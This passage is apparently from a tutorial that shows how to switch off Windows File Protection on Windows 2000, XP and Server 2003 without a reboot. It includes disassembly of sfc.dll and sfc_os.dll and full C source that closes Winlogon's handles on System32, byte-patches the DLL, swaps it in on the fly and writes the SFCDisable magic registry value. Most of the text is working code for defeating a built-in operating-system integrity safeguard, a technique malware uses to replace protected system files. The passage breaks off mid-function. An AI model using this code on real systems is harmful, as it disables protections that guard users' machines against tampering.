Now we have disabled the monitoring of the System32 directory, what now? Well,
to really disable the WFP we have to patch sfc.dll \(Win2k\) or sfc\_os.dll
\(XP and later\). If you're familiar with disabling the WFP, you know what i'm
talking about: in Win2k \(berfore Service Pack 1\) in order to disable \(at
the next boot\) the WFP you just had to modify a registry key to a sort of
magic value \(0xFFFFFF9D\), because the sfc.dll accepted that as an option to
disable the WFP, but from Win2k SP1 things got a little more complicate,
'cause this value wasn't removed but it was no longer accepted by sfc.dll, in
fact this dll suddenly acted like that \(this is a Win2k SP2 sfc.dll\):  
  
**.text:76956C07 mov eax, dword\_769601D4  
.text:76956C0C cmp eax, 0FFFFFF9Dh  
.text:76956C0F jnz short loc\_76956C18  
.text:76956C11 mov eax, esi ; overwrite eax  
.text:76956C13 mov dword\_769601D4, eax  
**  
As you can see, if the value is 0xFFFFFF9D, it will be overwritten. So if we
patch the "mov eax, esi" instruction, the magic value will be value. The
normal method to disable WFP is to boot in safe mode \(or recovery console\),
replace the patched dll with the orignal and then boot again; but we are gonna
do this on the fly. We use a little trick to replace the dll, 'cause it's not
possible to delete a loaded library \(loaded by Winlogon\) we just rename it
with MoveFile and then place our patched file with the original file, of
course the WFP won't react... We have disabled its protection for the System32
directory, remember? There's still one problem left: there are many versions
of sfc.dll and sfc\_os.dll, do we need to know the exact offset where to patch
for every version? Of course not\! I simply made a smart patch who goes
through the section code searching for some specific bytes I always found
analyzing some versions of those dlls: here are the dlls I saw:  
  
1 - Win2k SP2 sfc.dll  
  
**.text:76956C07 A1 D4 01 96 76 mov eax, dword\_769601D4  
.text:76956C0C 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76956C0F 75 07 jnz short loc\_76956C18  
.text:76956C11 8B C6 mov eax, esi  
.text:76956C13 A3 D4 01 96 76 mov dword\_769601D4, eax  
.text:76956C18  
.text:76956C18 loc\_76956C18:  
.text:76956C18 3B C3 cmp eax, ebx  
.text:76956C1A 74 3E jz short loc\_76956C5A  
.text:76956C1C 3B C6 cmp eax, esi  
.text:76956C1E 0F 84 97 01 00+ jz loc\_76956DBB  
.text:76956C24 83 F8 02 cmp eax, 2  
.text:76956C27 0F 84 7D 01 00+ jz loc\_76956DAA  
.text:76956C2D 83 F8 03 cmp eax, 3  
.text:76956C30 0F 84 E8 00 00+ jz loc\_76956D1E  
.text:76956C36 83 F8 04 cmp eax, 4  
.text:76956C39 0F 84 CE 00 00+ jz loc\_76956D0D  
.text:76956C3F 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76956C42 53 push ebx  
.text:76956C43 0F 84 82 01 00+ jz loc\_76956DCB**  
  
  
2 - WinXP Home Edition sfc\_os.dll  
  
**.text:76C2EFB1 A1 58 D1 C3 76 mov eax, dword\_76C3D158  
.text:76C2EFB6 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76C2EFB9 75 07 jnz short loc\_76C2EFC2  
.text:76C2EFBB 8B C6 mov eax, esi  
.text:76C2EFBD A3 58 D1 C3 76 mov dword\_76C3D158, eax  
.text:76C2EFC2  
.text:76C2EFC2 loc\_76C2EFC2:  
.text:76C2EFC2 3B C7 cmp eax, edi  
.text:76C2EFC4 74 56 jz short loc\_76C2F01C  
.text:76C2EFC6 3B C6 cmp eax, esi  
.text:76C2EFC8 0F 84 1A 01 00+ jz loc\_76C2F0E8  
.text:76C2EFCE 83 F8 02 cmp eax, 2  
.text:76C2EFD1 0F 84 FC 00 00+ jz loc\_76C2F0D3  
.text:76C2EFD7 83 F8 03 cmp eax, 3  
.text:76C2EFDA 74 7D jz short loc\_76C2F059  
.text:76C2EFDC 83 F8 04 cmp eax, 4  
.text:76C2EFDF 74 2F jz short loc\_76C2F010  
.text:76C2EFE1 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76C2EFE4 0F 84 0D 01 00+ jz loc\_76C2F0F7**  
  
  
3 - WinXP Professional Edition sfc\_os.dll  
  
**.text:76C2EEAE A1 58 D1 C3 76 mov eax, dword\_76C3D158  
.text:76C2EEB3 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76C2EEB6 75 07 jnz short loc\_76C2EEBF  
.text:76C2EEB8 8B C6 mov eax, esi  
.text:76C2EEBA A3 58 D1 C3 76 mov dword\_76C3D158, eax  
.text:76C2EEBF  
.text:76C2EEBF loc\_76C2EEBF:  
.text:76C2EEBF 3B C7 cmp eax, edi  
.text:76C2EEC1 74 56 jz short loc\_76C2EF19  
.text:76C2EEC3 3B C6 cmp eax, esi  
.text:76C2EEC5 0F 84 1A 01 00+ jz loc\_76C2EFE5  
.text:76C2EECB 83 F8 02 cmp eax, 2  
.text:76C2EECE 0F 84 FC 00 00+ jz loc\_76C2EFD0  
.text:76C2EED4 83 F8 03 cmp eax, 3  
.text:76C2EED7 74 7D jz short loc\_76C2EF56  
.text:76C2EED9 83 F8 04 cmp eax, 4  
.text:76C2EEDC 74 2F jz short loc\_76C2EF0D  
.text:76C2EEDE 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76C2EEE1 0F 84 0D 01 00+ jz loc\_76C2EFF4**  
  
  
4 - Win2k3 sfc\_os.dll  
  
**.text:76BEF65E A1 78 E1 BF 76 mov eax, dword\_76BFE178  
.text:76BEF663 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76BEF666 75 07 jnz short loc\_76BEF66F  
.text:76BEF668 8B C6 mov eax, esi  
.text:76BEF66A A3 78 E1 BF 76 mov dword\_76BFE178, eax  
.text:76BEF66F  
.text:76BEF66F loc\_76BEF66F: ; CODE XREF: sfc\_os\_1+4C8j  
.text:76BEF66F 3B C7 cmp eax, edi  
.text:76BEF671 74 56 jz short loc\_76BEF6C9  
.text:76BEF673 3B C6 cmp eax, esi  
.text:76BEF675 0F 84 1A 01 00+ jz loc\_76BEF795  
.text:76BEF67B 83 F8 02 cmp eax, 2  
.text:76BEF67E 0F 84 FC 00 00+ jz loc\_76BEF780  
.text:76BEF684 83 F8 03 cmp eax, 3  
.text:76BEF687 74 7D jz short loc\_76BEF706  
.text:76BEF689 83 F8 04 cmp eax, 4  
.text:76BEF68C 74 2F jz short loc\_76BEF6BD  
.text:76BEF68E 83 F8 9D cmp eax, 0FFFFFF9Dh  
.text:76BEF691 0F 84 0D 01 00+ jz loc\_76BEF7A4**  
  
Here's the sequence of bytes I picked from those dll:  
  
if \(pCode\[dwCount\] == 0x8B && pCode\[dwCount + 1\] == 0xC6 &&  
pCode\[dwCount + 2\] == 0xA3 && pCode\[dwCount + 7\] == 0x3B &&  
pCode\[dwCount + 9\] == 0x74 && pCode\[dwCount + 11\] == 0x3B\)  
  
Here's the patch code:  
  
GetSystemDirectoryW\(Buffer, sizeof \(WCHAR\) \* MAX\_PATH\);  
GetSystemDirectoryW\(Buffer2, sizeof \(WCHAR\) \* MAX\_PATH\);  
  
wsprintfW\(Buffer2, L"%s\\\trash%X", Buffer2, GetTickCount\(\)\);  
  
if \(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0\) // win2k  
\{  
wcscat\(Buffer, L"\\\sfc.dll"\);  
\}  
else // winxp, win2k3  
\{  
wcscat\(Buffer, L"\\\sfc\_os.dll"\);  
\}  
  
hFile = CreateFileW\(Buffer, GENERIC\_READ, FILE\_SHARE\_READ | FILE\_SHARE\_WRITE,  
NULL, OPEN\_EXISTING, 0, NULL\);  
  
if \(hFile == INVALID\_HANDLE\_VALUE\)  
\{  
return FALSE;  
\}  
  
dwFileSize = GetFileSize\(hFile, NULL\);  
  
pSfc = \(BYTE \*\) VirtualAlloc\(NULL, dwFileSize, MEM\_COMMIT,
PAGE\_READWRITE\);  
  
if \(\!pSfc\)  
\{  
CloseHandle\(hFile\);  
return FALSE;  
\}  
  
if \(\!ReadFile\(hFile, pSfc, dwFileSize, &BRW, NULL\)\)  
\{  
CloseHandle\(hFile\);  
VirtualFree\(pSfc, 0, MEM\_RELEASE\);  
return FALSE;  
\}  
  
CloseHandle\(hFile\);  
  
ImgDosHeader = \(PIMAGE\_DOS\_HEADER\) pSfc;  
ImgNtHeaders = \(PIMAGE\_NT\_HEADERS\)  
\(ImgDosHeader->e\_lfanew \+ \(ULONG\_PTR\) pSfc\);  
ImgSectionHeader = IMAGE\_FIRST\_SECTION\(ImgNtHeaders\);  
  
// code section  
  
pCode = \(BYTE \*\) \(ImgSectionHeader->PointerToRawData + \(ULONG\_PTR\)
pSfc\);  
  
// i gotta find the bytes to patch  
  
for \(dwCount = 0; dwCount < \(ImgSectionHeader->SizeOfRawData - 10\);
dwCount++\)  
\{  
if \(pCode\[dwCount\] == 0x8B && pCode\[dwCount + 1\] == 0xC6 &&  
pCode\[dwCount + 2\] == 0xA3 && pCode\[dwCount + 7\] == 0x3B &&  
pCode\[dwCount + 9\] == 0x74 && pCode\[dwCount + 11\] == 0x3B\)  
\{  
bFound = TRUE;  
break;  
\}  
\}  
  
if \(bFound == FALSE\)  
\{  
// cannot patch  
// maybe w2k without sp1  
  
goto no\_need\_to\_patch;  
\}  
  
// patch  
  
pCode\[dwCount\] = pCode\[dwCount + 1\] = 0x90;  
  
// move dll to another place  
  
MoveFileW\(Buffer, Buffer2\);  
  
// create new dll  
  
hFile = CreateFileW\(Buffer, GENERIC\_WRITE, FILE\_SHARE\_READ,  
NULL, CREATE\_ALWAYS, FILE\_ATTRIBUTE\_NORMAL, NULL\);  
  
if \(hFile == INVALID\_HANDLE\_VALUE\)  
\{  
// cannot patch  
  
VirtualFree\(pSfc, 0, MEM\_RELEASE\);  
return FALSE;  
\}  
  
WriteFile\(hFile, pSfc, dwFileSize, &BRW, NULL\);  
  
CloseHandle\(hFile\);  
  
no\_need\_to\_patch:  
  
VirtualFree\(pSfc, 0, MEM\_RELEASE\);  
  
Now we have to write the magic value and also set the registry SFCScan value
to 0 \(actually it should be already 0, but just to make sure...\).  
  
Ret = RegOpenKeyExW\(HKEY\_LOCAL\_MACHINE,  
L"SOFTWARE\\\Microsoft\\\Windows NT\\\CurrentVersion\\\Winlogon",  
0, KEY\_SET\_VALUE, &Key\);  
  
if \(Ret \!= ERROR\_SUCCESS\)  
\{  
return FALSE;  
\}  
  
BRW = 0xFFFFFF9D;  
  
Ret = RegSetValueExW\(Key, L"SFCDisable", 0, REG\_DWORD, \(PBYTE\) &BRW,
sizeof \(BRW\)\);  
  
if \(Ret \!= ERROR\_SUCCESS\)  
\{  
return FALSE;  
\}  
  
BRW = 0;  
  
Ret = RegSetValueExW\(Key, L"SFCScan", 0, REG\_DWORD, \(PBYTE\) &BRW, sizeof
\(BRW\)\);  
  
if \(Ret \!= ERROR\_SUCCESS\)  
\{  
return FALSE;  
\}  
  
RegCloseKey\(Key\);  
  
Ok, now we're done\! The WFP was killed\! Here's the whole article's code \(I
wrote the code for VC++ 6\):  
  
// trick\_wfp.c -------------------------------------------------------------

\#include <windows.h>  
\#include <stdio.h>  
  
\#ifndef UNICODE\_STRING  
typedef struct \_UNICODE\_STRING  
\{  
USHORT Length;  
USHORT MaximumLength;  
PWSTR Buffer;  
\} UNICODE\_STRING;  
typedef UNICODE\_STRING \*PUNICODE\_STRING;  
\#endif  
  
\#ifndef NTSTATUS  
typedef LONG NTSTATUS;  
\#define NT\_SUCCESS\(Status\) \(\(NTSTATUS\)\(Status\) >= 0\)  
\#define STATUS\_SUCCESS \(\(NTSTATUS\)0x00000000L\)  
\#endif  
  
\#ifndef SYSTEM\_INFORMATION\_CLASS  
typedef enum \_SYSTEM\_INFORMATION\_CLASS \{  
SystemBasicInformation,  // 0  
SystemProcessorInformation,  // 1  
SystemPerformanceInformation, // 2  
SystemTimeOfDayInformation,  // 3  
SystemNotImplemented1,  // 4  
SystemProcessesAndThreadsInformation, // 5  
SystemCallCounts,  // 6  
SystemConfigurationInformation,  // 7  
SystemProcessorTimes,  // 8  
SystemGlobalFlag,  // 9  
SystemNotImplemented2,  // 10  
SystemModuleInformation,  // 11  
SystemLockInformation,  // 12  
SystemNotImplemented3,  // 13  
SystemNotImplemented4,  // 14  
SystemNotImplemented5,  // 15  
SystemHandleInformation,  // 16  
SystemObjectInformation,  // 17  
SystemPagefileInformation, // 18  
SystemInstructionEmulationCounts, // 19  
SystemInvalidInfoClass1,  // 20  
SystemCacheInformation,  // 21  
SystemPoolTagInformation,  // 22  
SystemProcessorStatistics, // 23  
SystemDpcInformation,  // 24  
SystemNotImplemented6,  // 25  
SystemLoadImage,  // 26  
SystemUnloadImage,  // 27  
SystemTimeAdjustment,  // 28  
SystemNotImplemented7,  // 29  
SystemNotImplemented8,  // 30  
SystemNotImplemented9,  // 31  
SystemCrashDumpInformation,  // 32  
SystemExceptionInformation,  // 33  
SystemCrashDumpStateInformation, // 34  
SystemKernelDebuggerInformation, // 35  
SystemContextSwitchInformation,  // 36  
SystemRegistryQuotaInformation,  // 37  
SystemLoadAndCallImage,  // 38  
SystemPrioritySeparation,  // 39  
SystemNotImplemented10,  // 40  
SystemNotImplemented11,  // 41  
SystemInvalidInfoClass2,  // 42  
SystemInvalidInfoClass3,  // 43  
SystemTimeZoneInformation, // 44  
SystemLookasideInformation,  // 45  
SystemSetTimeSlipEvent,  // 46  
SystemCreateSession,  // 47  
SystemDeleteSession,  // 48  
SystemInvalidInfoClass4,  // 49  
SystemRangeStartInformation,  // 50  
SystemVerifierInformation, // 51  
SystemAddVerifier,  // 52  
SystemSessionProcessesInformation // 53  
\} SYSTEM\_INFORMATION\_CLASS;  
\#endif  
  
\#ifndef HANDLEINFO  
typedef struct HandleInfo\{  
ULONG Pid;  
USHORT ObjectType;  
USHORT HandleValue;  
PVOID ObjectPointer;  
ULONG AccessMask;  
\} HANDLEINFO, \*PHANDLEINFO;  
\#endif  
  
\#ifndef SYSTEMHANDLEINFO  
typedef struct SystemHandleInfo \{  
ULONG nHandleEntries;  
HANDLEINFO HandleInfo\[1\];  
\} SYSTEMHANDLEINFO, \*PSYSTEMHANDLEINFO;  
\#endif  
  
NTSTATUS \(NTAPI \*pNtQuerySystemInformation\)\(  
SYSTEM\_INFORMATION\_CLASS SystemInformationClass,  
PVOID SystemInformation,  
ULONG SystemInformationLength,  
PULONG ReturnLength  
\);  
  
\#ifndef STATUS\_INFO\_LENGTH\_MISMATCH  
\#define STATUS\_INFO\_LENGTH\_MISMATCH \(\(NTSTATUS\)0xC0000004L\)  
\#endif  
  
\#ifndef OBJECT\_INFORMATION\_CLASS  
typedef enum \_OBJECT\_INFORMATION\_CLASS \{  
ObjectBasicInformation,  
ObjectNameInformation,  
ObjectTypeInformation,  
ObjectAllTypesInformation,  
ObjectHandleInformation  
\} OBJECT\_INFORMATION\_CLASS;  
\#endif  
  
\#ifndef OBJECT\_NAME\_INFORMATION  
typedef struct \_OBJECT\_NAME\_INFORMATION  
\{  
UNICODE\_STRING ObjectName;  
  
\} OBJECT\_NAME\_INFORMATION, \*POBJECT\_NAME\_INFORMATION;  
\#endif  
  
\#ifndef OBJECT\_BASIC\_INFORMATION  
typedef struct \_OBJECT\_BASIC\_INFORMATION  
\{  
ULONG Unknown1;  
ACCESS\_MASK DesiredAccess;  
ULONG HandleCount;  
ULONG ReferenceCount;  
ULONG PagedPoolQuota;  
ULONG NonPagedPoolQuota;  
BYTE Unknown2\[32\];  
\} OBJECT\_BASIC\_INFORMATION, \*POBJECT\_BASIC\_INFORMATION;  
\#endif  
  
  
  
NTSTATUS \(NTAPI \*pNtQueryObject\)\(IN HANDLE ObjectHandle,  
IN OBJECT\_INFORMATION\_CLASS ObjectInformationClass,  
OUT PVOID ObjectInformation,  
IN ULONG ObjectInformationLength,  
OUT PULONG ReturnLength OPTIONAL\);  
  
  
BOOL \(WINAPI \*pEnumProcesses\)\(DWORD \*lpidProcess, DWORD cb,  
DWORD \*cbNeeded\);  
  
BOOL \(WINAPI \*pEnumProcessModules\)\(HANDLE hProcess,  
HMODULE \*lphModule,  
DWORD cb, LPDWORD lpcbNeeded\);  
  
DWORD \(WINAPI \*pGetModuleFileNameExW\)\(HANDLE hProcess, HMODULE hModule,  
LPWSTR lpFilename, DWORD nSize\);  
  
VOID GetFileName\(WCHAR \*Name\)  
\{  
WCHAR \*path, \*New, \*ptr;  
  
path = \(PWCHAR\) malloc\(\(MAX\_PATH + 1\) \* sizeof \(WCHAR\)\);  
New = \(PWCHAR\) malloc\(\(MAX\_PATH + 1\) \* sizeof \(WCHAR\)\);  
  
wcsncpy\(path, Name, MAX\_PATH\);  
  
if \(wcsncmp\(path, L"\\\SystemRoot", 11\) == 0\)  
\{  
ptr = &path\[11\];  
GetWindowsDirectoryW\(New, MAX\_PATH \* sizeof \(WCHAR\)\);  
wcscat\(New, ptr\);  
wcscpy\(Name, New\);  
\}  
else if \(wcsncmp\(path, L"\\\??\\\", 4\) == 0\)  
\{  
ptr = &path\[4\];  
wcscpy\(New, ptr\);  
wcscpy\(Name, New\);  
\}  
  
free\(path\);  
free\(New\);  
\}  
  
BOOL SetPrivileges\(VOID\)  
\{  
HANDLE hProc;  
LUID luid;  
TOKEN\_PRIVILEGES tp;  
HANDLE hToken;  
TOKEN\_PRIVILEGES oldtp;  
DWORD dwSize;  
  
hProc = GetCurrentProcess\(\);  
  
if \(\!OpenProcessToken\(hProc, TOKEN\_QUERY |   
TOKEN\_ADJUST\_PRIVILEGES, &hToken\)\)  
return FALSE;  
  
if \(\!LookupPrivilegeValue\(NULL, SE\_DEBUG\_NAME, &luid\)\)  
\{  
CloseHandle \(hToken\);  
return FALSE;  
\}  
  
ZeroMemory \(&tp, sizeof \(tp\)\);  
  
tp.PrivilegeCount = 1;  
tp.Privileges\[0\].Luid = luid;  
tp.Privileges\[0\].Attributes = SE\_PRIVILEGE\_ENABLED;  
  
if \(\!AdjustTokenPrivileges\(hToken, FALSE, &tp, sizeof\(TOKEN\_PRIVILEGES\),  
&oldtp, &dwSize\)\)  
\{  
CloseHandle\(hToken\);  
return FALSE;  
\}  
  
return TRUE;  
\}  
  
BOOL CompareStringBackwards\(WCHAR \*Str1, WCHAR \*Str2\)  
\{  
INT Len1 = wcslen\(Str1\), Len2 = wcslen\(Str2\);  
  
  
if \(Len2 > Len1\)  
return FALSE;  
  
for \(Len2--, Len1--; Len2 >= 0; Len2--, Len1--\)  
\{  
if \(Str1\[Len1\] \!= Str2\[Len2\]\)  
return FALSE;  
\}  
  
return TRUE;  
\}  
  
BOOL TrickWFP\(VOID\)  
\{  
HINSTANCE hNtDll, hPsApi;  
PSYSTEMHANDLEINFO pSystemHandleInfo = NULL;  
ULONG uSize = 0x1000, i, uBuff;  
NTSTATUS nt;  
  
// psapi variables  
  
LPDWORD lpdwPIDs = NULL;  
DWORD WinLogonId;  
DWORD dwSize;  
DWORD dwSize2;  
DWORD dwIndex;  
HMODULE hMod;  
HANDLE hProcess, hWinLogon;  
DWORD dwLIndex = 0;  
  
WCHAR Buffer\[MAX\_PATH + 1\];  
WCHAR Buffer2\[MAX\_PATH + 1\];  
WCHAR WinLogon\[MAX\_PATH + 1\];  
  
HANDLE hCopy;  
  
// OBJECT\_BASIC\_INFORMATION ObjInfo; // inutilizzato  
struct \{ UNICODE\_STRING Name; WCHAR Buffer\[MAX\_PATH + 1\]; \} ObjName;  
  
OSVERSIONINFOEX osvi;  
  
HANDLE hFile;  
DWORD dwFileSize, BRW = 0, dwCount;  
BYTE \*pSfc, \*pCode;  
BOOL bFound = FALSE;  
  
PIMAGE\_DOS\_HEADER ImgDosHeader;  
PIMAGE\_NT\_HEADERS ImgNtHeaders;  
PIMAGE\_SECTION\_HEADER ImgSectionHeader;  
  
HKEY Key;  
LONG Ret;  
  
ZeroMemory\(&osvi, sizeof\(OSVERSIONINFOEX\)\);  
  
osvi.dwOSVersionInfoSize = sizeof\(OSVERSIONINFOEX\);  
  
if \(\!GetVersionEx\(\(OSVERSIONINFO \*\) &osvi\)\)  
\{  
osvi.dwOSVersionInfoSize = sizeof \(OSVERSIONINFO\);  
  
if \(\!GetVersionEx \(\(OSVERSIONINFO \*\) &osvi\)\)  
return FALSE;  
\}  
  
  
if \(osvi.dwPlatformId \!= VER\_PLATFORM\_WIN32\_NT ||  
osvi.dwMajorVersion <= 4\)  
return FALSE;  
  
hNtDll = LoadLibrary\("ntdll.dll"\);  
hPsApi = LoadLibrary\("psapi.dll"\);  
  
if \(\!hNtDll || \!hPsApi\)  
return FALSE;  
  
// ntdll functions  
  
pNtQuerySystemInformation = \(NTSTATUS \(NTAPI \*\)\(  
SYSTEM\_INFORMATION\_CLASS, PVOID, ULONG, PULONG\)\)  
GetProcAddress\(hNtDll, "NtQuerySystemInformation"\);  
  
pNtQueryObject = \(NTSTATUS \(NTAPI \*\)\(HANDLE,  
OBJECT\_INFORMATION\_CLASS, PVOID, ULONG, PULONG\)\)  
GetProcAddress\(hNtDll, "NtQueryObject"\);  
  
// psapi functions  
  
pEnumProcesses = \(BOOL \(WINAPI \*\)\(DWORD \*, DWORD, DWORD \*\)\)  
GetProcAddress\(hPsApi, "EnumProcesses"\);  
  
pEnumProcessModules = \(BOOL \(WINAPI \*\)\(HANDLE, HMODULE \*,  
DWORD, LPDWORD\)\) GetProcAddress\(hPsApi, "EnumProcessModules"\);  
  
pGetModuleFileNameExW = \(DWORD \(WINAPI \*\)\(HANDLE, HMODULE,  
LPWSTR, DWORD\)\) GetProcAddress\(hPsApi, "GetModuleFileNameExW"\);  
  
if \(pNtQuerySystemInformation == NULL ||  
pNtQueryObject == NULL ||  
pEnumProcesses == NULL ||  
pEnumProcessModules == NULL ||  
pGetModuleFileNameExW == NULL\)  
return FALSE;  
  
// winlogon position  
  
GetSystemDirectoryW\(WinLogon, MAX\_PATH \* sizeof \(WCHAR\)\);  
wcscat\(WinLogon, L"\\\winlogon.exe"\);  
  
// set privileges  
  
if \(SetPrivileges\(\) == FALSE\)  
return FALSE;  
  
// search winlogon  
  
dwSize2 = 256 \* sizeof\(DWORD\);  
  
do  
\{  
if \(lpdwPIDs\)  
\{  
HeapFree\(GetProcessHeap\(\), 0, lpdwPIDs\);  
dwSize2 \*= 2;  
\}  
  
lpdwPIDs = \(LPDWORD\) HeapAlloc\(GetProcessHeap\(\), 0, dwSize2\);  
  
if \(lpdwPIDs == NULL\)  
return FALSE;  
  
if \(\!pEnumProcesses\(lpdwPIDs, dwSize2, &dwSize\)\)  
return FALSE;  
  
\} while \(dwSize == dwSize2\);  
  
dwSize /= sizeof\(DWORD\);  
  
for \(dwIndex = 0; dwIndex < dwSize; dwIndex++\)  
\{  
Buffer\[0\] = 0;  
  
hProcess = OpenProcess\(PROCESS\_QUERY\_INFORMATION |   
PROCESS\_VM\_READ, FALSE, lpdwPIDs\[dwIndex\]\);  
  
if \(hProcess \!= NULL\)  
\{  
if \(pEnumProcessModules\(hProcess, &hMod,  
sizeof\(hMod\), &dwSize2\)\)  
\{  
if \(\!pGetModuleFileNameExW\(hProcess, hMod,  
Buffer, sizeof\(Buffer\)\)\)  
\{  
CloseHandle\(hProcess\);  
continue;  
\}  
\}  
else  
\{  
CloseHandle\(hProcess\);  
continue;  
\}  
  
if \(Buffer\[0\] \!= 0\)  
\{  
GetFileName\(Buffer\);  
  
if \(CompareStringW\(0, NORM\_IGNORECASE,  
Buffer, -1, WinLogon, -1\) == CSTR\_EQUAL\)  
\{  
// winlogon process found  
WinLogonId = lpdwPIDs\[dwIndex\];  
CloseHandle\(hProcess\);  
break;  
\}  
  
dwLIndex++;  
\}  
  
CloseHandle\(hProcess\);  
\}  
  
\}  
  
if \(lpdwPIDs\)  
HeapFree\(GetProcessHeap\(\), 0, lpdwPIDs\);  
  
hWinLogon = OpenProcess\(PROCESS\_DUP\_HANDLE, 0, WinLogonId\);  
  
if \(hWinLogon == NULL\)  
\{  
return FALSE;  
\}  
  
nt = pNtQuerySystemInformation\(SystemHandleInformation, NULL, 0, &uSize\);  
  
while \(nt == STATUS\_INFO\_LENGTH\_MISMATCH\)  
\{  
uSize += 0x1000;  
  
if \(pSystemHandleInfo\)  
VirtualFree\(pSystemHandleInfo, 0, MEM\_RELEASE\);  
  
pSystemHandleInfo = \(PSYSTEMHANDLEINFO\) VirtualAlloc\(NULL, uSize,  
MEM\_COMMIT, PAGE\_READWRITE\);  
  
if \(pSystemHandleInfo == NULL\)  
\{  
CloseHandle\(hWinLogon\);  
return FALSE;  
\}  
  
nt = pNtQuerySystemInformation\(SystemHandleInformation,  
pSystemHandleInfo, uSize, &uBuff\);  
\}  
  
if \(nt \!= STATUS\_SUCCESS\)  
\{  
VirtualFree\(pSystemHandleInfo, 0, MEM\_RELEASE\);  
CloseHandle\(hWinLogon\);  
return FALSE;  
\}  
  
for \(i = 0; i < pSystemHandleInfo->nHandleEntries; i++\)  
\{  
if \(pSystemHandleInfo->HandleInfo\[i\].Pid == WinLogonId\)  
\{  
if \(DuplicateHandle\(hWinLogon,  
\(HANDLE\) pSystemHandleInfo->HandleInfo\[i\].HandleValue,  
GetCurrentProcess\(\), &hCopy, 0, FALSE, DUPLICATE\_SAME\_ACCESS\)\)  
\{  
nt = pNtQueryObject\(hCopy, ObjectNameInformation,  
&ObjName, sizeof \(ObjName\),NULL\);  
  
if \(nt == STATUS\_SUCCESS\)  
\{  
wcsupr\(ObjName.Buffer\);  
  
if \(CompareStringBackwards\(ObjName.Buffer, L"WINDOWS\\\SYSTEM32"\) ||  
CompareStringBackwards\(ObjName.Buffer, L"WINNT\\\SYSTEM32"\)\)  
\{  
// disable wfp on the fly  
  
CloseHandle\(hCopy\);  
  
DuplicateHandle \(hWinLogon,  
\(HANDLE\) pSystemHandleInfo->HandleInfo\[i\].HandleValue,  
GetCurrentProcess\(\), &hCopy, 0, FALSE,  
DUPLICATE\_CLOSE\_SOURCE | DUPLICATE\_SAME\_ACCESS\);  
  
CloseHandle\(hCopy\);  
\}  
\}  
else  
\{  
CloseHandle\(hCopy\);  
\}  
  
\}  
\}  
\}  
  
VirtualFree\(pSystemHandleInfo, 0, MEM\_RELEASE\);  
CloseHandle\(hWinLogon\);  
  
// patch wfp smartly  
  
GetSystemDirectoryW\(Buffer, sizeof \(WCHAR\) \* MAX\_PATH\);  
GetSystemDirectoryW\(Buffer2, sizeof \(WCHAR\) \* MAX\_PATH\);  
  
wsprintfW\(Buffer2, L"%s\\\trash%X", Buffer2, GetTickCount\(\)\);  
  
if \(osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0\) // win2k  
\{  
wcscat\(Buffer, L"\\\sfc.dll"\);  
\}  
else // winxp, win2k3  
\{  
wcscat\(Buffer, L"\\\sfc\_os.dll"\);  
\}  
  
hFile = CreateFileW\(Buffer, GENERIC\_READ, FILE\_SHARE\_READ | FILE\_SHARE\_WRITE,  
NULL, OPEN\_EXISTING, 0, NULL\);  
  
if \(hFile == INVALID\_HANDLE\_VALUE\)  
\{  
return FALSE;  
\}  
  
dwFileSize = GetFileSize\(hFile, NULL\);  
  
pSfc = \(BYTE \*\) VirtualAlloc\(NULL, dwFileSize, MEM\_COMMIT,
PAGE\_READWRITE\);  
  
if \(\!pSfc\)  
\{  
CloseHandle\(hFile\);  
return FALSE;  
\}  
  
if \(\!ReadFile\(hFile, pSfc, dwFileSize, &BRW, NULL\)\)  
\{  
CloseHandle\(hFile\);  
VirtualFree\(pSfc, 0, MEM\_RELEASE\);  
return FALSE;  
\}  
  
CloseHandle\(hFile\);  
  
ImgDosHeader = \(PIMAGE\_DOS\_HEADER\) pSfc;  
ImgNtHeaders = \(PIMAGE\_NT\_HEADERS\)  
\(ImgDosHeader->e\_lfanew \+ \(ULONG\_PTR\) pSfc\);  
ImgSectionHeader = IMAGE\_FIRST\_SECTION\(ImgNtHeaders\);  
  
// code section  
  
pCode = \(BYTE \*\) \(ImgSectionHeader->PointerToRawData + \(ULONG\_PTR\)
pSfc\);  
  
// i gotta find the bytes to patch  
  
for \(dwCount = 0; dwCount < \(ImgSectionHeader->SizeOfRawData - 10\);
dwCount++\)  
\{  
if \(pCode\[dwCount\] == 0x8B && pCode\[dwCount + 1\] == 0xC6 &&  
pCode\[dwCount + 2\] == 0xA3 && pCode\[dwCount + 7\] == 0x3B &&  
pCode\[dwCount + 9\] == 0x74 && pCode\[dwCount + 11\] == 0x3B\)  
\{  
bFound = TRUE;  
break;  
\}  
\}  
  
if \(bFound == FALSE\)  
\{  
// cannot patch  
// maybe w2k without sp1  
  
goto no\_need\_to\_patch;  
\}  
  
// patch  
  
pCode\[dwCount\] = pCode\[dwCount + 1\] = 0x90;  
  
// move dll to another place  
  
MoveFileW\(Buffer, Buffer2\);  
  
// create new dll  
  
hFile = CreateFileW\(Buffer, GENERIC\_WRITE, FILE\_SHARE\_READ,  
NULL, CREATE\_ALWAYS, FILE\_ATTRIBUTE\_NORMAL, NULL\);  
  
if \(hFile == INVALID\_HANDLE\_VALUE\)  
\{  
// cannot patch  
  
VirtualFree\(pSfc, 0, MEM\_RELEASE\);  
return FALSE;  
\}  
  
WriteFile\(hFile, pSfc, dwFileSize, &BRW, NULL\);  
  
CloseHandle\(hFile\);  
  
no\_need\_to\_patch:  
  
VirtualFree\(pSfc, 0, MEM\_RELEASE\);  
  
// modify the registry  
  
Ret = RegOpenKeyExW\(HKEY\_LOCAL\_MACHINE,  
L"SOFTWARE\\\Microsoft\\\Windows NT\\\CurrentVersion\\\Winlogon",  
0, KEY\_SET\_VALUE, &Key\);  
  
if \(Ret \!= ERROR\_SUCCESS\)  
\{  
return FALSE;  
\}  
  
BRW = 0xFFFFFF9D;  
  
Ret = RegSetValueExW\(Key, L"SFCDisable", 0, REG\_DWORD, \(PBYTE\) &BRW,
sizeof \(BRW\)\);  
  
if \(Ret \!= ERROR\_SUCCESS\)  
\{  
return FALSE;  
\}  
  
BRW = 0;  
  
Ret = RegSetValueExW\(Key, L"SFCScan", 0, REG\_DWORD, \(PBYTE\) &BRW, sizeof
\(BRW\)\);  
  
